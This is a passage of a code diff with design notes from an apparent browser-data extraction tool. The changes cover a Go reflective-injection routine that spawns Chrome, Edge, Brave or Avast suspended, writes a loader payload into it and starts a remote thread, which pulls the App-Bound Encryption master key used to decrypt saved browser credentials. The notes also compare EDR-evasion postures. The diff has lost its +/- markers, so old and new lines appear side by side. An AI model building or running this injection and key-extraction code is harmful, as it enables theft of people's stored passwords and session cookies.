imageBase + 0x30 com_err (4 B LE) ← IElevator out DWORD on failure
|
||||
imageBase + 0x3C e_lfanew (PE header ptr, MUST NOT overwrite)
|
||||
imageBase + 0x40..0x67 shared region (union):
|
||||
pre-Bootstrap: 5 × uintptr (LoadLibraryA, GetProcAddress,
|
||||
VirtualAlloc, VirtualProtect, NtFlushIC)
|
||||
post-DllMain : 32-byte master key at 0x40..0x5F
|
||||
scratchBase + 0x28 marker (1 B) ← Bootstrap progress
|
||||
scratchBase + 0x29 key_status (1 B; 0x01 = ready)
|
||||
scratchBase + 0x2A extract_err_code (1 B) ← ABE_ERR_* category on failure
|
||||
scratchBase + 0x2C hresult (4 B LE) ← COM HRESULT on failure (0 on success)
|
||||
scratchBase + 0x30 com_err (4 B LE) ← IElevator out DWORD on failure
|
||||
scratchBase + 0x40..0x5F 32-byte master key
|
||||
```
|
||||
|
||||
`0x40..0x5F` is **time-shared**: Go writes import pointers pre-injection; Bootstrap reads them once at function start; then DllMain overwrites the same bytes with the key. No concurrent readers.
|
||||
Import pointers live in the separate `BootstrapParams` block passed as the remote thread parameter; the scratch block is only diagnostics plus key material.
|
||||
|
||||
## 9. Comparison with reference implementations
|
||||
|
||||
Three implementations of "extract Chrome v20 master key via reflective injection" exist in the ecosystem.
|
||||
|
||||
| Dimension | **This project** | **injector-old** (local C++ fork) | **xaitax/Chrome-App-Bound-Encryption-Decryption** |
|
||||
|---|---|---|---|
|
||||
| --- | --- | --- | --- |
|
||||
| Top-level language | Go + C | Go + C++ | C++ end-to-end |
|
||||
| Injector runtime | Go, `CGO_ENABLED=0` | Go, `CGO_ENABLED=0` | C++ standalone exe |
|
||||
| Reflective loader | **Self-written C**, ~280 lines | Stephen Fewer 2012 `ReflectiveLoader` (vendored C, ~500) | Self-written C++, ~400 |
|
||||
| kernel32 resolution | **Pre-resolved by Go, patched into DOS stub** | PEB walk + `_rotr` hash | PEB walk + `_rotr` hash |
|
||||
| kernel32 resolution | **Pre-resolved by Go, passed in BootstrapParams** | PEB walk + `_rotr` hash | PEB walk + `_rotr` hash |
|
||||
| Syscall mechanism | Win32 APIs | Win32 APIs | Direct syscall via ASM trampoline |
|
||||
| COM DecryptData dispatch | Vtable slot by browser kind (5/8/13) | Full interface via `ComPtr` | Same as injector-old |
|
||||
| IPC payload → injector | **env var in, scratch-region read out** | Named pipe (full duplex) | Named pipe (full duplex) |
|
||||
| Build toolchain for payload | `zig cc` | MSVC / clang-cl | MSVC |
|
||||
| Runtime disk footprint | **0 bytes** | 1 temp file + pipe | Pipe |
|
||||
| EDR evasion posture | None (Win32 APIs visible) | Partial (optional Nt*) | Strong (direct syscalls) |
|
||||
| EDR evasion posture | None (Win32 APIs visible) | Partial (optional Nt\*) | Strong (direct syscalls) |
|
||||
|
||||
### 9.1 Why we didn't vendor xaitax's Bootstrap
|
||||
|
||||
Tempting — it's known-good. But: C++ in an otherwise pure-C/Go repo; ASM trampolines + direct syscalls add a second toolchain leg; pipe-based IPC is 300+ lines of C we don't need; browser termination is a product-policy decision we skipped.
|
||||
|
||||
Comparisons in this section were made against [xaitax/Chrome-App-Bound-Encryption-Decryption @ `63b719f`](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/commit/63b719f2ab3dbf8573fd9228a9c028526e9eb1db). It is a reference for reading only — nothing from it is vendored, and it is deliberately not a submodule.
|
||||
|
||||
### 9.2 Why we abandoned Stephen Fewer's loader
|
||||
|
||||
`while(curr)` loop without `curr != head` termination → walked past end of the circular `InMemoryOrderModuleList` → dereferenced `PEB_LDR_DATA` itself as an `LDR_DATA_TABLE_ENTRY` → access-violated on `BaseDllName.pBuffer`. The 2012-era struct alignment hack (commented-out first `LIST_ENTRY`) also makes it brittle against Windows internals. Our replacement is strictly smaller, addresses these bugs explicitly, and is first-party.
|
||||
@@ -278,7 +277,7 @@ Tempting — it's known-good. But: C++ in an otherwise pure-C/Go repo; ASM tramp
|
||||
## 10. Browser coverage
|
||||
|
||||
| Browser class | Behavior |
|
||||
|---|---|
|
||||
| --- | --- |
|
||||
| Chrome Stable/Beta, Brave, CocCoc | ABE v20 via `CHROME_BASE` slot (5) |
|
||||
| Microsoft Edge | ABE v20 via `EDGE` slot (8); v2 `E_NOINTERFACE` → v1 fallback succeeds |
|
||||
| Avast Secure Browser | ABE v20 via `AVAST` slot (13) |
|
||||
@@ -318,7 +317,7 @@ Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `utils/winutil/brows
|
||||
## 13. Related RFCs
|
||||
|
||||
| RFC | Relation |
|
||||
|---|---|
|
||||
| --- | --- |
|
||||
| [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC |
|
||||
| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `masterkey.Retrievers` taxonomy; Windows populates V10 (DPAPI) + V20 (ABE) as independent tier slots |
|
||||
| [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) |
|
||||
@@ -48,7 +48,7 @@ func TestDetectPEArch_EmptyInput(t *testing.T) {
|
||||
}
|
||||
|
||||
// TestFindExportFileOffset_KnownExports walks a handful of kernel32 exports
|
||||
// that Bootstrap also relies on via pre-resolved import patching. Passing
|
||||
// that Bootstrap also relies on via its remote parameter block. Passing
|
||||
// here means both the export-table walker and the RVA→file-offset converter
|
||||
// work against a real Windows PE — not just against fixtures we control.
|
||||
func TestFindExportFileOffset_KnownExports(t *testing.T) {
|
||||
|
||||
@@ -6,8 +6,10 @@ import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
@@ -22,8 +24,9 @@ type Reflective struct {
|
||||
const (
|
||||
exportName = "Bootstrap"
|
||||
// 30s covers GoogleChromeElevationService cold-start on first call after boot.
|
||||
defaultWait = 30 * time.Second
|
||||
terminateWait = 2 * time.Second
|
||||
defaultWait = 30 * time.Second
|
||||
terminateWait = 2 * time.Second
|
||||
bootstrapParamFieldSize = 8
|
||||
)
|
||||
|
||||
func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) {
|
||||
@@ -33,13 +36,11 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
|
||||
if exePath == "" {
|
||||
return nil, fmt.Errorf("injector: empty exePath")
|
||||
}
|
||||
|
||||
loaderRVA, err := validateAndLocateLoader(payload)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
if runtime.GOARCH != "amd64" {
|
||||
return nil, fmt.Errorf("injector: only amd64 is supported (got %s)", runtime.GOARCH)
|
||||
}
|
||||
|
||||
patched, err := patchPreresolvedImports(payload)
|
||||
loaderRVA, err := validateAndLocateLoader(payload)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -47,11 +48,10 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
|
||||
restore := setEnvTemporarily(env)
|
||||
defer restore()
|
||||
|
||||
pi, udd, err := spawnSuspended(exePath)
|
||||
pi, err := spawnSuspended(exePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer os.RemoveAll(udd)
|
||||
defer windows.CloseHandle(pi.Process)
|
||||
defer windows.CloseHandle(pi.Thread)
|
||||
|
||||
@@ -63,25 +63,25 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
|
||||
}
|
||||
}()
|
||||
|
||||
remoteBase, err := writeRemotePayload(pi.Process, patched)
|
||||
remoteBase, err := writeRemotePayload(pi.Process, payload)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
scratchBase, err := allocateScratch(pi.Process)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
paramsBase, err := writeBootstrapParams(pi.Process, scratchBase)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is
|
||||
// self-contained but the later elevation_service COM call inside the payload relies on a
|
||||
// fully-initialized PEB. Chrome's main() is left running so it can stand up its own COM/
|
||||
// scheduler infrastructure — the child will show a normal browser window under the isolated
|
||||
// --user-data-dir, which we accept; our Bootstrap finishes before the user sees anything.
|
||||
_, _ = windows.ResumeThread(pi.Thread)
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
|
||||
if err := runAndWait(pi.Process, remoteBase, loaderRVA, r.wait()); err != nil {
|
||||
if err := runAndWait(pi.Process, remoteBase, loaderRVA, paramsBase, r.wait()); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read output before TerminateProcess — after kill the memory is gone.
|
||||
result, readErr := readScratch(pi.Process, remoteBase)
|
||||
result, readErr := readScratch(pi.Process, scratchBase)
|
||||
|
||||
_ = windows.TerminateProcess(pi.Process, 0)
|
||||
_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
|
||||
@@ -133,63 +133,35 @@ func validateAndLocateLoader(payload []byte) (uint32, error) {
|
||||
return off, nil
|
||||
}
|
||||
|
||||
// buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process.
|
||||
// Only --user-data-dir=<temp> is passed — this is the one switch that matters: it escapes the running
|
||||
// browser's ProcessSingleton mutex so the suspended child survives past main() long enough for the
|
||||
// remote Bootstrap thread to complete (issue #576). Adding any other flags (--no-startup-window,
|
||||
// --disable-extensions, --disable-gpu, ...) has either destabilized Brave (payload dies in DllMain
|
||||
// with marker=0x0b) or made newer Chromium forks on Windows 11 exit within ~200ms because they had
|
||||
// "nothing to do" after bypassing window creation — letting the browser show a normal window under
|
||||
// the isolated UDD is the most compatible behavior across forks and Windows versions.
|
||||
func buildIsolatedCommandLine(exePath, udd string) string {
|
||||
// %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them
|
||||
// as literal double backslashes in argv. Raw literal quotes match Windows command-line rules.
|
||||
//nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above.
|
||||
return fmt.Sprintf(`"%s" --user-data-dir="%s"`, exePath, udd)
|
||||
}
|
||||
|
||||
// spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is
|
||||
// passed so the spawned chrome.exe does not collide with any already-running Chrome instance's
|
||||
// ProcessSingleton (which would call ExitProcess as soon as main() runs, killing our remote Bootstrap
|
||||
// thread before it can publish the master key). The temp UDD is returned so the caller can remove it
|
||||
// after injection.
|
||||
func spawnSuspended(exePath string) (*windows.ProcessInformation, string, error) {
|
||||
udd, err := os.MkdirTemp("", "hbd-inj-udd-*")
|
||||
if err != nil {
|
||||
return nil, "", fmt.Errorf("injector: make temp user-data-dir: %w", err)
|
||||
}
|
||||
|
||||
cmdLine := buildIsolatedCommandLine(exePath, udd)
|
||||
cmdPtr, err := syscall.UTF16PtrFromString(cmdLine)
|
||||
if err != nil {
|
||||
_ = os.RemoveAll(udd)
|
||||
return nil, "", fmt.Errorf("injector: command line: %w", err)
|
||||
}
|
||||
// spawnSuspended launches exePath with its primary thread suspended. The browser's normal startup
|
||||
// path is never resumed; only the remote Bootstrap thread runs, matching the ABE reference injector
|
||||
// and avoiding any top-level Chromium UI.
|
||||
func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
|
||||
exePtr, err := syscall.UTF16PtrFromString(exePath)
|
||||
if err != nil {
|
||||
_ = os.RemoveAll(udd)
|
||||
return nil, "", fmt.Errorf("injector: exe path: %w", err)
|
||||
return nil, fmt.Errorf("injector: exe path: %w", err)
|
||||
}
|
||||
si := &windows.StartupInfo{
|
||||
Cb: uint32(unsafe.Sizeof(windows.StartupInfo{})),
|
||||
}
|
||||
si := &windows.StartupInfo{}
|
||||
pi := &windows.ProcessInformation{}
|
||||
err = windows.CreateProcess(
|
||||
exePtr, cmdPtr, nil, nil,
|
||||
exePtr, nil, nil, nil,
|
||||
false,
|
||||
windows.CREATE_SUSPENDED,
|
||||
nil, nil, si, pi,
|
||||
)
|
||||
if err != nil {
|
||||
_ = os.RemoveAll(udd)
|
||||
return nil, "", fmt.Errorf("injector: CreateProcess: %w", err)
|
||||
return nil, fmt.Errorf("injector: CreateProcess: %w", err)
|
||||
}
|
||||
return pi, udd, nil
|
||||
return pi, nil
|
||||
}
|
||||
|
||||
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
||||
remoteBase, err := winapi.VirtualAllocEx(proc,
|
||||
uintptr(len(payload)),
|
||||
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
||||
uint32(windows.PAGE_EXECUTE_READWRITE),
|
||||
uint32(windows.PAGE_READWRITE),
|
||||
)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("injector: %w", err)
|
||||
@@ -202,6 +174,88 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
||||
if int(written) != len(payload) {
|
||||
return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload))
|
||||
}
|
||||
if _, err := winapi.VirtualProtectEx(proc, remoteBase, uintptr(len(payload)), uint32(windows.PAGE_EXECUTE_READ)); err != nil {
|
||||
return 0, fmt.Errorf("injector: protect payload: %w", err)
|
||||
}
|
||||
// Required before the region is executed. Bootstrap flushes again once it has mapped the
|
||||
// payload's own sections, but that runs too late to cover its own first instruction.
|
||||
if err := winapi.FlushInstructionCache(proc, remoteBase, uintptr(len(payload))); err != nil {
|
||||
return 0, fmt.Errorf("injector: flush instruction cache: %w", err)
|
||||
}
|
||||
return remoteBase, nil
|
||||
}
|
||||
|
||||
func allocateScratch(proc windows.Handle) (uintptr, error) {
|
||||
// Keep the old scratch offsets stable for diagnostics/key reads, but place the scratch area in
|
||||
// its own RW allocation so the raw payload image can be execute-only after writing.
|
||||
const scratchSize = bootstrap.KeyOffset + bootstrap.KeyLen
|
||||
remoteBase, err := winapi.VirtualAllocEx(proc,
|
||||
uintptr(scratchSize),
|
||||
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
||||
uint32(windows.PAGE_READWRITE),
|
||||
)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("injector: allocate scratch: %w", err)
|
||||
}
|
||||
return remoteBase, nil
|
||||
}
|
||||
|
||||
// encodeBootstrapParams lays out the C BootstrapParams struct using the cgo-generated field
|
||||
// offsets, so a field added or reordered in bootstrap_layout.h shows up as a layout.go diff
|
||||
// rather than as a silently misread pointer inside the target process.
|
||||
func encodeBootstrapParams(scratchBase uintptr) ([]byte, error) {
|
||||
fields := []struct {
|
||||
offset int
|
||||
addr uintptr
|
||||
}{
|
||||
{bootstrap.ParamScratchBase, scratchBase},
|
||||
{bootstrap.ParamLoadLibraryA, winapi.AddrLoadLibraryA()},
|
||||
{bootstrap.ParamGetProcAddress, winapi.AddrGetProcAddress()},
|
||||
{bootstrap.ParamVirtualAlloc, winapi.AddrVirtualAlloc()},
|
||||
{bootstrap.ParamVirtualProtect, winapi.AddrVirtualProtect()},
|
||||
{bootstrap.ParamNtFlushIC, winapi.AddrNtFlushInstructionCache()},
|
||||
}
|
||||
params := make([]byte, bootstrap.ParamsSize)
|
||||
for _, f := range fields {
|
||||
if f.addr == 0 {
|
||||
return nil, fmt.Errorf("injector: failed to resolve one or more bootstrap params")
|
||||
}
|
||||
if err := putBootstrapParam(params, f.offset, f.addr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return params, nil
|
||||
}
|
||||
|
||||
func putBootstrapParam(params []byte, offset int, addr uintptr) error {
|
||||
if offset < 0 || offset > len(params)-bootstrapParamFieldSize {
|
||||
return fmt.Errorf("injector: bootstrap param offset %d out of bounds for %d-byte block", offset, len(params))
|
||||
}
|
||||
binary.LittleEndian.PutUint64(params[offset:offset+bootstrapParamFieldSize], uint64(addr))
|
||||
return nil
|
||||
}
|
||||
|
||||
func writeBootstrapParams(proc windows.Handle, scratchBase uintptr) (uintptr, error) {
|
||||
params, err := encodeBootstrapParams(scratchBase)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
remoteBase, err := winapi.VirtualAllocEx(proc,
|
||||
uintptr(len(params)),
|
||||
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
||||
uint32(windows.PAGE_READWRITE),
|
||||
)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("injector: allocate bootstrap params: %w", err)
|
||||
}
|
||||
var written uintptr
|
||||
if err := windows.WriteProcessMemory(proc, remoteBase, ¶ms[0], uintptr(len(params)), &written); err != nil {
|
||||
return 0, fmt.Errorf("injector: write bootstrap params: %w", err)
|
||||
}
|
||||
if int(written) != len(params) {
|
||||
return 0, fmt.Errorf("injector: short write to bootstrap params (%d/%d)", written, len(params))
|
||||
}
|
||||
return remoteBase, nil
|
||||
}
|
||||
|
||||
@@ -209,9 +263,9 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
||||
// process is still running; any other value means the process has already terminated.
|
||||
const stillActive uint32 = 259
|
||||
|
||||
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
|
||||
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, param uintptr, wait time.Duration) error {
|
||||
entry := remoteBase + uintptr(loaderRVA)
|
||||
hThread, err := winapi.CreateRemoteThread(proc, entry, 0)
|
||||
hThread, err := winapi.CreateRemoteThread(proc, entry, param)
|
||||
if err != nil {
|
||||
// Diagnostic: distinguish a dead target (Chrome self-exited before we could inject — policy,
|
||||
// version, UDD-restriction, sandbox-init failure) from a live target whose NtCreateThreadEx
|
||||
@@ -281,40 +335,6 @@ func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error)
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// patchPreresolvedImports writes five pre-resolved Win32 function pointers into the payload's DOS stub
|
||||
// so Bootstrap skips PEB.Ldr traversal entirely. Validity relies on KnownDlls + session-consistent
|
||||
// ASLR (kernel32 and ntdll share the same virtual address across processes in one boot session).
|
||||
func patchPreresolvedImports(payload []byte) ([]byte, error) {
|
||||
if len(payload) < bootstrap.ImpNtFlushICOffset+8 {
|
||||
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
|
||||
}
|
||||
|
||||
pLoadLibraryA := winapi.AddrLoadLibraryA()
|
||||
pGetProcAddress := winapi.AddrGetProcAddress()
|
||||
pVirtualAlloc := winapi.AddrVirtualAlloc()
|
||||
pVirtualProtect := winapi.AddrVirtualProtect()
|
||||
pNtFlushIC := winapi.AddrNtFlushInstructionCache()
|
||||
|
||||
if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
|
||||
pVirtualProtect == 0 || pNtFlushIC == 0 {
|
||||
return nil, fmt.Errorf("injector: failed to resolve one or more pre-resolved imports")
|
||||
}
|
||||
|
||||
patched := make([]byte, len(payload))
|
||||
copy(patched, payload)
|
||||
|
||||
writeAddr := func(off int, addr uintptr) {
|
||||
binary.LittleEndian.PutUint64(patched[off:off+8], uint64(addr))
|
||||
}
|
||||
writeAddr(bootstrap.ImpLoadLibraryAOffset, pLoadLibraryA)
|
||||
writeAddr(bootstrap.ImpGetProcAddressOffset, pGetProcAddress)
|
||||
writeAddr(bootstrap.ImpVirtualAllocOffset, pVirtualAlloc)
|
||||
writeAddr(bootstrap.ImpVirtualProtectOffset, pVirtualProtect)
|
||||
writeAddr(bootstrap.ImpNtFlushICOffset, pNtFlushIC)
|
||||
|
||||
return patched, nil
|
||||
}
|
||||
|
||||
// setEnvTemporarily mutates the current process's env; NOT concurrency-safe. Callers must serialize
|
||||
// Inject calls.
|
||||
func setEnvTemporarily(env map[string]string) func() {
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
//go:build windows && amd64
|
||||
|
||||
package injector
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"testing"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/winapi"
|
||||
)
|
||||
|
||||
// The C payload reads BootstrapParams by field offset while Go writes it as a flat byte
|
||||
// slice, so this pins the encoding to the cgo-generated offsets rather than to field order.
|
||||
func TestEncodeBootstrapParams(t *testing.T) {
|
||||
const scratchBase = 0xDEADBEEF000
|
||||
|
||||
params, err := encodeBootstrapParams(scratchBase)
|
||||
if err != nil {
|
||||
t.Fatalf("encodeBootstrapParams: %v", err)
|
||||
}
|
||||
if len(params) != bootstrap.ParamsSize {
|
||||
t.Fatalf("params size = %d, want %d (C sizeof(BootstrapParams))", len(params), bootstrap.ParamsSize)
|
||||
}
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
offset int
|
||||
want uintptr
|
||||
}{
|
||||
{"scratch_base", bootstrap.ParamScratchBase, scratchBase},
|
||||
{"LoadLibraryA", bootstrap.ParamLoadLibraryA, winapi.AddrLoadLibraryA()},
|
||||
{"GetProcAddress", bootstrap.ParamGetProcAddress, winapi.AddrGetProcAddress()},
|
||||
{"VirtualAlloc", bootstrap.ParamVirtualAlloc, winapi.AddrVirtualAlloc()},
|
||||
{"VirtualProtect", bootstrap.ParamVirtualProtect, winapi.AddrVirtualProtect()},
|
||||
{"NtFlushInstructionCache", bootstrap.ParamNtFlushIC, winapi.AddrNtFlushInstructionCache()},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
got := binary.LittleEndian.Uint64(params[tc.offset : tc.offset+8])
|
||||
if got != uint64(tc.want) {
|
||||
t.Errorf("%s at offset 0x%x = %#x, want %#x", tc.name, tc.offset, got, tc.want)
|
||||
}
|
||||
if tc.want == 0 {
|
||||
t.Errorf("%s resolved to a null address", tc.name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPutBootstrapParamBounds(t *testing.T) {
|
||||
const want = uintptr(0x0123456789ABCDEF)
|
||||
tests := []struct {
|
||||
name string
|
||||
size int
|
||||
offset int
|
||||
wantErr bool
|
||||
}{
|
||||
{name: "last valid field", size: 16, offset: 8},
|
||||
{name: "negative offset", size: 8, offset: -1, wantErr: true},
|
||||
{name: "short block", size: 7, offset: 0, wantErr: true},
|
||||
{name: "one past end", size: 8, offset: 1, wantErr: true},
|
||||
{name: "maximum offset", size: 8, offset: int(^uint(0) >> 1), wantErr: true},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
params := make([]byte, tt.size)
|
||||
err := putBootstrapParam(params, tt.offset, want)
|
||||
if tt.wantErr {
|
||||
if err == nil {
|
||||
t.Fatal("putBootstrapParam returned nil error")
|
||||
}
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatalf("putBootstrapParam: %v", err)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint64(params[tt.offset:]); got != uint64(want) {
|
||||
t.Errorf("encoded value = %#x, want %#x", got, want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Every field must land inside the struct and none may overlap — a stale offset constant
|
||||
// would otherwise corrupt a neighboring pointer instead of failing loudly.
|
||||
func TestBootstrapParamOffsetsAreDisjoint(t *testing.T) {
|
||||
offsets := []int{
|
||||
bootstrap.ParamScratchBase,
|
||||
bootstrap.ParamLoadLibraryA,
|
||||
bootstrap.ParamGetProcAddress,
|
||||
bootstrap.ParamVirtualAlloc,
|
||||
bootstrap.ParamVirtualProtect,
|
||||
bootstrap.ParamNtFlushIC,
|
||||
}
|
||||
seen := make(map[int]bool, len(offsets))
|
||||
for _, off := range offsets {
|
||||
if off%8 != 0 {
|
||||
t.Errorf("offset 0x%x is not 8-byte aligned", off)
|
||||
}
|
||||
if off < 0 || off > bootstrap.ParamsSize-bootstrapParamFieldSize {
|
||||
t.Errorf("offset 0x%x overruns params block of %d bytes", off, bootstrap.ParamsSize)
|
||||
}
|
||||
if seen[off] {
|
||||
t.Errorf("offset 0x%x used by more than one field", off)
|
||||
}
|
||||
seen[off] = true
|
||||
}
|
||||
if len(seen)*bootstrapParamFieldSize != bootstrap.ParamsSize {
|
||||
t.Errorf("%d fields cover %d bytes, but C sizeof(BootstrapParams) is %d",
|
||||
len(seen), len(seen)*bootstrapParamFieldSize, bootstrap.ParamsSize)
|
||||
}
|
||||
}
|
||||
@@ -11,8 +11,10 @@ import (
|
||||
|
||||
// Call-style procs used by the typed wrappers below.
|
||||
var (
|
||||
procVirtualAllocEx = Kernel32.NewProc("VirtualAllocEx")
|
||||
procCreateRemoteThread = Kernel32.NewProc("CreateRemoteThread")
|
||||
procVirtualAllocEx = Kernel32.NewProc("VirtualAllocEx")
|
||||
procVirtualProtectEx = Kernel32.NewProc("VirtualProtectEx")
|
||||
procFlushInstructionCache = Kernel32.NewProc("FlushInstructionCache")
|
||||
procCreateRemoteThread = Kernel32.NewProc("CreateRemoteThread")
|
||||
|
||||
// K32EnumProcesses is the kernel32-embedded twin of psapi!EnumProcesses
|
||||
// introduced in Windows 7 — using it lets us skip the psapi.dll handle.
|
||||
@@ -21,8 +23,8 @@ var (
|
||||
)
|
||||
|
||||
// Address-style procs. The injector reads their raw addresses via .Addr()
|
||||
// and patches them into the reflective loader's DOS stub. We never Call
|
||||
// these from our own process.
|
||||
// and passes them to the reflective loader in its remote parameter block.
|
||||
// We never Call these from our own process.
|
||||
var (
|
||||
procLoadLibraryA = Kernel32.NewProc("LoadLibraryA")
|
||||
procGetProcAddress = Kernel32.NewProc("GetProcAddress")
|
||||
@@ -41,6 +43,25 @@ func VirtualAllocEx(proc windows.Handle, size uintptr, flAllocType, flProtect ui
|
||||
)
|
||||
}
|
||||
|
||||
// VirtualProtectEx wraps kernel32!VirtualProtectEx and returns the previous
|
||||
// protection for the region.
|
||||
func VirtualProtectEx(proc windows.Handle, addr, size uintptr, flNewProtect uint32) (uint32, error) {
|
||||
var oldProtect uint32
|
||||
_, err := CallBoolErr(procVirtualProtectEx,
|
||||
uintptr(proc), addr, size,
|
||||
uintptr(flNewProtect), uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
return oldProtect, err
|
||||
}
|
||||
|
||||
// FlushInstructionCache wraps kernel32!FlushInstructionCache. Windows requires this after
|
||||
// writing bytes that are about to be executed as code; pass addr=0, size=0 to flush the
|
||||
// whole process. amd64 caches happen to be coherent, but the API contract is not.
|
||||
func FlushInstructionCache(proc windows.Handle, addr, size uintptr) error {
|
||||
_, err := CallBoolErr(procFlushInstructionCache, uintptr(proc), addr, size)
|
||||
return err
|
||||
}
|
||||
|
||||
// CreateRemoteThread wraps kernel32!CreateRemoteThread. Returns the new
|
||||
// thread's handle, which the caller must CloseHandle.
|
||||
func CreateRemoteThread(proc windows.Handle, startAddr, param uintptr) (windows.Handle, error) {
|
||||
@@ -54,10 +75,9 @@ func CreateRemoteThread(proc windows.Handle, startAddr, param uintptr) (windows.
|
||||
return windows.Handle(h), nil
|
||||
}
|
||||
|
||||
// Addr* functions expose raw function pointers for the reflective
|
||||
// loader's DOS-stub patching. KnownDlls + session-consistent ASLR
|
||||
// guarantees these addresses are valid in every process spawned in
|
||||
// the same boot session.
|
||||
// Addr* functions expose raw function pointers for the reflective loader's
|
||||
// BootstrapParams block. KnownDlls + session-consistent ASLR guarantees these
|
||||
// addresses are valid in every process spawned in the same boot session.
|
||||
|
||||
func AddrLoadLibraryA() uintptr { return procLoadLibraryA.Addr() }
|
||||
func AddrGetProcAddress() uintptr { return procGetProcAddress.Addr() }
|
||||
|
||||
Reference in new issue
Block a user